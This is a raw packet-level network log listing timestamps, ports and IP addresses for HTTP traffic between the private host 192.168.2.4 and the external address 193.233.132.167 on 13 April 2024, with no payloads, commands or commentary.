Apr 13, 2024 20:21:21.304404974 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304411888 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304442883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304480076 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304486990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304519892 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304519892 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304557085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304594994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304600000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304640055 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304677963 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304683924 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304717064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304718971 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304754972 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304792881 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304799080 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304830074 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304867029 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304872990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304903984 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304908037 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.304943085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304981947 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.304989100 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305021048 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305058002 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305063009 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305095911 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305133104 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305140972 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305170059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305174112 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305207968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305244923 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305250883 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305282116 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305319071 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305325031 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305356026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305358887 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305397034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305433035 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305439949 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305470943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305507898 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305516005 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305546999 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305548906 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305583954 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305624962 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305628061 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305661917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305700064 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305704117 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305738926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305741072 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305778027 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305814981 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305819988 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305852890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305888891 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305902958 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305928946 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.305929899 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.305967093 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306003094 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306010962 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306041002 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306077957 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306085110 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306114912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306118011 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306154013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306190968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306196928 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306231022 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306267977 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306277037 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306305885 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306308985 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306344032 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306380987 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306390047 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306418896 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306454897 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306464911 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306492090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306494951 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306530952 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306567907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306575060 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306606054 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306643009 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306649923 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306679964 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306684017 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306721926 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306759119 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306766033 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306797028 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306833029 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306839943 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306869984 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306871891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306909084 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306945086 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.306952953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.306982994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307020903 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307027102 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307059050 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307061911 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307104111 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307142019 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307149887 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307179928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307216883 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307224035 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307255983 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307266951 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307292938 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307331085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307333946 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307368994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307405949 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307413101 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307446003 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307447910 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307483912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307521105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307538986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307560921 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307598114 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307605028 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307636023 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307636976 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307677984 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307717085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307723045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307754040 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307791948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307797909 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307830095 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307831049 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307868958 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307905912 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307914019 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.307944059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307981014 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.307986021 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308020115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308022022 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308057070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308094025 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308099031 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308131933 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308168888 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308175087 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308206081 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308207989 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308263063 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308299065 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308307886 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308336973 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308373928 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308381081 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.308413029 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.308414936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.309377909 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651089907 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651160955 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651202917 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651235104 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651243925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651283026 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651283979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651324034 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651335001 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651365042 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651403904 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651412010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651443005 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651449919 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651483059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651525021 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651554108 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651565075 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651602983 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651607990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651639938 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651643038 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651679993 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651726007 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651750088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651788950 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651827097 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651833057 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651866913 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651876926 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651906013 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651946068 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.651954889 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.651983976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652024031 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652031898 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652062893 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652071953 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652101994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652144909 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652148962 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652184963 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652235031 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652246952 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652287960 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652287960 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652328968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652369976 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652379990 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652407885 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652445078 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652456045 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652483940 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652487040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652523994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652560949 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652568102 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652688026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652698040 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652728081 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652766943 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652792931 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652806044 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652843952 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652874947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652883053 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652884007 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652921915 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652959108 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.652968884 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.652997971 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653034925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653063059 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653074026 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653083086 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653114080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653151989 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653161049 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653191090 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653229952 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653245926 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653271914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653285980 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653311968 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653350115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653358936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653388023 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653425932 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653460979 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653476000 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653500080 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653506041 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653541088 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653578997 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653589010 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653618097 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653655052 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653661966 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653693914 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653697968 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653733015 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653769016 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653778076 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653806925 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653844118 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653851986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653881073 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653884888 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653918982 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653954983 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.653963089 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.653994083 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654030085 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654036999 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654067993 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654092073 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654104948 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654144049 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654167891 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654181957 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654190063 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654220104 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654257059 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654263973 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654297113 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654333115 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654341936 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654371023 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654392958 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654411077 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654447079 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654454947 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654489994 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654526949 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654532909 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654565096 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654572964 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654603004 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654642105 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654647112 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654679060 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654717922 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654728889 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654756069 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654792070 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654814959 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654829025 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654834986 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654865980 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654902935 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654911041 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.654939890 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654977083 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.654987097 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655014992 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655016899 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655052900 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655090094 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655096054 CEST	49749	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:21.655128002 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655164957 CEST	80	49749	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:21.655173063 CEST	49749	80	192.168.2.4	193.233.132.167
